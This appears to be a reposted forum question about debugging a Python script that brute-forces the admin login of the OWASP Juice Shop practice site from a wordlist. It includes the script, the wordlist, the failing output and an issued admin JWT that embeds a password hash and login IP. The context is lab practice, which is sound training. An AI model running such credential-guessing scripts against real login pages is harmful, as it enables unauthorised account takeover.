vendredi 26 février 2021

Writing a simple http login bruteforcer in python, getting diferent behavior when reading from wordlist

Im messing around with the OWASP juice shop site, and trying to implement a bruteforcer to break admin password.

this is my code:

#! /usr/bin/env python3

import requests

def try_login(password):
    url = "http://10.10.187.141/rest/user/login"
    req = requests.post(url, data = {"email":"admin@juice-sh.op","password":password})
    return req

wordlist = open('testlist.txt', 'r')
list = wordlist.readlines()
for item in list:
    req = try_login(item)
    print(item)
    print(req.text)

I know the password is 'admin123', and the wordlist I'm using has this entry. When i run the script if gets a invalid password response when it tries the correct password.

if i call the try_login functions passing 'admin123' directly like that:

req = try_login('admin123')
print(item)
print(req.text)

i get the login success response

content of my testlist.txt

aaa
admin
admin1
admin12
admin123
adminadmin

output from my script

root@kali:~/thm/brute_forcing# python brute.py
aaa

Invalid email or password.
admin

Invalid email or password.
admin1

Invalid email or password.
admin12

Invalid email or password.
admin123

Invalid email or password.
adminadmin

Invalid email or password.
adminadmin

output when I pass the correct password directly:


{"authentication":{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIxMC45LjIwNy4xNDAiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHQuc3ZnIiwidG90cFNlY3JldCI6IiIsImlzQWN0aXZlIjp0cnVlLCJjcmVhdGVkQXQiOiIyMDIxLTAyLTI2IDE4OjA2OjE4LjYyMiArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDIxLTAyLTI2IDE5OjM4OjE2LjI3NSArMDA6MDAiLCJkZWxldGVkQXQiOm51bGx9LCJpYXQiOjE2MTQzNjk2MjMsImV4cCI6MTYxNDM4NzYyM30.C8i0CXA0F7KC33zS_EyJxnPRSP23bNMbkv3lldaIFvS0qwaE26cpIDuW9iS1VgabQQi15KqVqpJdeUPS1PIRjHNAxRHepQF2UxY_mjIF7fiDtST1FG6ZSb05M9N-0dt_wxWBSzTeJHX2p4ixu0GD5pZ3yjJZK9QzHg6IoFjajIQ","bid":1,"umail":"admin@juice-sh.op"}}

Does enyone know why there is a diference?




Aucun commentaire:

Enregistrer un commentaire